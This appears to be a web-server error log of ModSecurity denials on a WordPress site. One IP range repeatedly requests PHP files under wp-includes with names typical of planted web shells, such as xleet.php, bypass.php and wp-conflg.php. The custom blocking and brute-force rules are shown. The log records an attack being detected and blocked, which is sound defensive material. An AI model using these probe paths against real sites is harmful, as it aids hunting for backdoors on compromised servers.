[Wed Apr 22 07:07:10.057269 2026] [:error] [pid 31755:tid 31775] [client 45.137.126.35:27729] [client 45.137.126.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aegDHgz2mYMkg3X8q1tmCQAAAgw"]
[Wed Apr 22 07:07:22.976799 2026] [:error] [pid 23041:tid 23063] [client 45.137.126.53:34037] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aegDKkTXx_lUa7xwAb7jugAAARM"]
[Wed Apr 22 07:07:23.968522 2026] [proxy_fcgi:error] [pid 23041:tid 23044] [client 45.137.126.43:21011] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 07:07:29.234176 2026] [:error] [pid 23041:tid 23052] [client 45.137.126.43:21011] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aegDMUTXx_lUa7xwAb7j4wAAAQg"]
[Wed Apr 22 07:07:38.858879 2026] [proxy_fcgi:error] [pid 31756:tid 31790] [client 45.137.126.16:61051] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 07:07:40.932414 2026] [:error] [pid 31756:tid 31799] [client 45.137.126.16:61051] [client 45.137.126.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.16, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aegDPN_WbkXbHaEfhd3bXwAAAkc"]
[Wed Apr 22 07:07:48.882772 2026] [:error] [pid 31756:tid 31793] [client 45.137.126.16:61051] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aegDRN_WbkXbHaEfhd3bcAAAAkM"]
[Wed Apr 22 07:07:52.145254 2026] [:error] [pid 31949:tid 31968] [client 45.137.126.39:52439] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aegDSH2WtGZh5JfbMUc-owAAAxA"]
[Wed Apr 22 07:07:59.326411 2026] [:error] [pid 21682:tid 21745] [client 45.137.126.17:49675] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aegDT5lXWQZUlmPHS3oHFAAAAFY"]
[Wed Apr 22 07:08:05.702929 2026] [:error] [pid 31755:tid 31766] [client 45.137.126.4:62481] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aegDVQz2mYMkg3X8q1tmkgAAAgM"]
[Wed Apr 22 07:08:06.687711 2026] [:error] [pid 23041:tid 23046] [client 45.137.126.28:32575] [client 45.137.126.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aegDVkTXx_lUa7xwAb7kfwAAAQI"]
[Wed Apr 22 07:08:13.397620 2026] [:error] [pid 21682:tid 21725] [client 45.137.126.26:36189] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aegDXZlXWQZUlmPHS3oHQQAAAEI"]
[Wed Apr 22 07:08:18.627825 2026] [proxy_fcgi:error] [pid 21682:tid 21737] [client 45.137.126.3:27995] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 07:08:19.118553 2026] [:error] [pid 21682:tid 21740] [client 45.137.126.3:27995] [client 45.137.126.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aegDY5lXWQZUlmPHS3oHXQAAAFE"]
[Wed Apr 22 07:08:22.397805 2026] [:error] [pid 21682:tid 21732] [client 45.137.126.19:45231] [client 45.137.126.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/db.php"] [unique_id "aegDZplXWQZUlmPHS3oHcgAAAEk"]
[Wed Apr 22 07:08:23.390546 2026] [:error] [pid 31756:tid 31813] [client 45.137.126.49:38931] [client 45.137.126.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aegDZ9_WbkXbHaEfhd3brgAAAlU"]
[Wed Apr 22 07:08:24.374474 2026] [:error] [pid 21682:tid 21730] [client 45.137.126.13:47721] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aegDaJlXWQZUlmPHS3oHegAAAEc"]
[Wed Apr 22 07:08:25.360421 2026] [:error] [pid 21683:tid 21773] [client 45.137.126.35:33499] [client 45.137.126.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aegDaVZBWT-0diZyYyaZCQAAAJc"]
[Wed Apr 22 07:08:26.347119 2026] [:error] [pid 32053:tid 32078] [client 45.137.126.50:54517] [client 45.137.126.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aegDagzPjXx_ocfbYhs38AAAA1c"]
[Wed Apr 22 07:08:27.330268 2026] [:error] [pid 31949:tid 31972] [client 45.137.126.45:45773] [client 45.137.126.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aegDa32WtGZh5JfbMUc-tQAAAxQ"]
[Wed Apr 22 07:08:32.508484 2026] [:error] [pid 31755:tid 31768] [client 45.137.126.33:21039] [client 45.137.126.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aegDcAz2mYMkg3X8q1tmzQAAAgU"]
[Wed Apr 22 07:08:33.488789 2026] [:error] [pid 21683:tid 21774] [client 45.137.126.9:26093] [client 45.137.126.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aegDcVZBWT-0diZyYyaZFAAAAJg"]
[Wed Apr 22 07:08:34.481459 2026] [:error] [pid 23041:tid 23053] [client 45.137.126.24:33827] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aegDckTXx_lUa7xwAb7kzwAAAQk"]
[Wed Apr 22 07:08:35.460791 2026] [:error] [pid 32053:tid 32065] [client 45.137.126.48:49057] [client 45.137.126.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aegDcwzPjXx_ocfbYhs38wAAA0o"]
[Wed Apr 22 07:08:36.439842 2026] [:error] [pid 21682:tid 21727] [client 45.137.126.17:46063] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/options.php"] [unique_id "aegDdJlXWQZUlmPHS3oHhgAAAEQ"]
[Wed Apr 22 07:08:37.428268 2026] [proxy_fcgi:error] [pid 31755:tid 31782] [client 45.137.126.8:48669] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 07:08:42.088322 2026] [:error] [pid 31755:tid 31766] [client 45.137.126.8:48669] [client 45.137.126.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.8, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aegDegz2mYMkg3X8q1tm8wAAAgM"]
[Wed Apr 22 07:08:50.981138 2026] [:error] [pid 31755:tid 31775] [client 45.137.126.8:48669] [client 45.137.126.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aegDggz2mYMkg3X8q1tm_gAAAgw"]
[Wed Apr 22 07:09:18.673677 2026] [:error] [pid 31755:tid 31782] [client 45.137.126.14:27665] [client 45.137.126.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aegDngz2mYMkg3X8q1tnUwAAAhM"]
[Wed Apr 22 07:09:19.657186 2026] [:error] [pid 23041:tid 23056] [client 45.137.126.14:45223] [client 45.137.126.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aegDn0TXx_lUa7xwAb7lswAAAQw"]
[Wed Apr 22 07:09:20.649853 2026] [:error] [pid 23041:tid 23050] [client 45.137.126.51:43697] [client 45.137.126.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aegDoETXx_lUa7xwAb7lvAAAAQY"]
[Wed Apr 22 07:09:32.400511 2026] [:error] [pid 23041:tid 23061] [client 45.137.126.31:27577] [client 45.137.126.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aegDrETXx_lUa7xwAb7mCgAAARE"]
[Wed Apr 22 07:09:33.385021 2026] [:error] [pid 23041:tid 23062] [client 45.137.126.42:62939] [client 45.137.126.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aegDrUTXx_lUa7xwAb7mDwAAARI"]
[Wed Apr 22 07:09:34.377834 2026] [:error] [pid 31755:tid 31786] [client 45.137.126.21:21745] [client 45.137.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aegDrgz2mYMkg3X8q1tnkQAAAhc"]
[Wed Apr 22 07:09:45.733966 2026] [:error] [pid 31755:tid 31766] [client 45.137.126.30:28853] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aegDuQz2mYMkg3X8q1tnzAAAAgM"]
[Wed Apr 22 07:09:49.118891 2026] [:error] [pid 31756:tid 31807] [client 45.137.126.9:24673] [client 45.137.126.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aegDvd_WbkXbHaEfhd3cPAAAAk8"]
[Wed Apr 22 07:09:54.061144 2026] [:error] [pid 23041:tid 23062] [client 45.137.126.44:37243] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aegDwkTXx_lUa7xwAb7mUQAAARI"]
[Wed Apr 22 07:10:13.652330 2026] [:error] [pid 31844:tid 31867] [client 45.137.126.6:22135] [client 45.137.126.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/index.php"] [unique_id "aegD1WtAU9CprTB4b3Ix4QAAApU"]
[Wed Apr 22 07:10:16.974639 2026] [:error] [pid 23041:tid 23066] [client 45.137.126.33:30981] [client 45.137.126.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/about.php"] [unique_id "aegD2ETXx_lUa7xwAb7mmQAAARY"]
[Wed Apr 22 07:10:28.555651 2026] [:error] [pid 23041:tid 23044] [client 45.137.126.22:51293] [client 45.137.126.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-sup.php"] [unique_id "aegD5ETXx_lUa7xwAb7m0wAAAQA"]
[Wed Apr 22 07:10:33.550453 2026] [:error] [pid 31949:tid 31970] [client 45.137.126.13:59327] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aegD6X2WtGZh5JfbMUc_HgAAAxI"]
[Wed Apr 22 07:10:42.181563 2026] [:error] [pid 23041:tid 23060] [client 45.137.126.40:57655] [client 45.137.126.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aegD8kTXx_lUa7xwAb7nRQAAARA"]
[Wed Apr 22 07:10:50.054123 2026] [:error] [pid 23041:tid 23048] [client 45.137.126.53:24119] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aegD-kTXx_lUa7xwAb7niAAAAQQ"]
[Wed Apr 22 07:10:55.140138 2026] [:error] [pid 31755:tid 31775] [client 45.137.126.15:29177] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aegD_wz2mYMkg3X8q1tofQAAAgw"]
[Wed Apr 22 07:10:56.128256 2026] [:error] [pid 23041:tid 23057] [client 45.137.126.23:46001] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aegEAETXx_lUa7xwAb7nuwAAAQ0"]
[Wed Apr 22 07:11:06.321894 2026] [:error] [pid 23041:tid 23044] [client 45.137.126.18:58169] [client 45.137.126.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aegECkTXx_lUa7xwAb7oGwAAAQA"]
[Wed Apr 22 07:11:15.483766 2026] [:error] [pid 31755:tid 31764] [client 45.137.126.16:33643] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aegEEwz2mYMkg3X8q1tongAAAgE"]
[Wed Apr 22 07:11:24.059884 2026] [:error] [pid 31755:tid 31781] [client 45.137.126.25:64809] [client 45.137.126.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aegEHAz2mYMkg3X8q1torgAAAhI"]
[Wed Apr 22 07:11:25.042478 2026] [:error] [pid 31756:tid 31810] [client 45.137.126.41:55161] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aegEHd_WbkXbHaEfhd3chAAAAlI"]
[Wed Apr 22 07:11:28.379110 2026] [:error] [pid 23041:tid 23050] [client 45.137.126.36:42853] [client 45.137.126.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aegEIETXx_lUa7xwAb7o0gAAAQY"]
[Wed Apr 22 07:11:32.947866 2026] [:error] [pid 23041:tid 23045] [client 45.137.126.40:36293] [client 45.137.126.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/install.php"] [unique_id "aegEJETXx_lUa7xwAb7o_gAAAQE"]
[Wed Apr 22 07:11:33.932874 2026] [:error] [pid 31949:tid 31963] [client 45.137.126.15:38457] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aegEJX2WtGZh5JfbMUc_NwAAAws"]
[Wed Apr 22 07:11:45.433869 2026] [:error] [pid 31949:tid 31960] [client 45.137.126.13:48645] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/category-double.php"] [unique_id "aegEMX2WtGZh5JfbMUc_gQAAAwg"]
[Wed Apr 22 07:11:50.364206 2026] [:error] [pid 23041:tid 23058] [client 45.137.126.22:43421] [client 45.137.126.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/db.php"] [unique_id "aegENkTXx_lUa7xwAb7pywAAAQ4"]
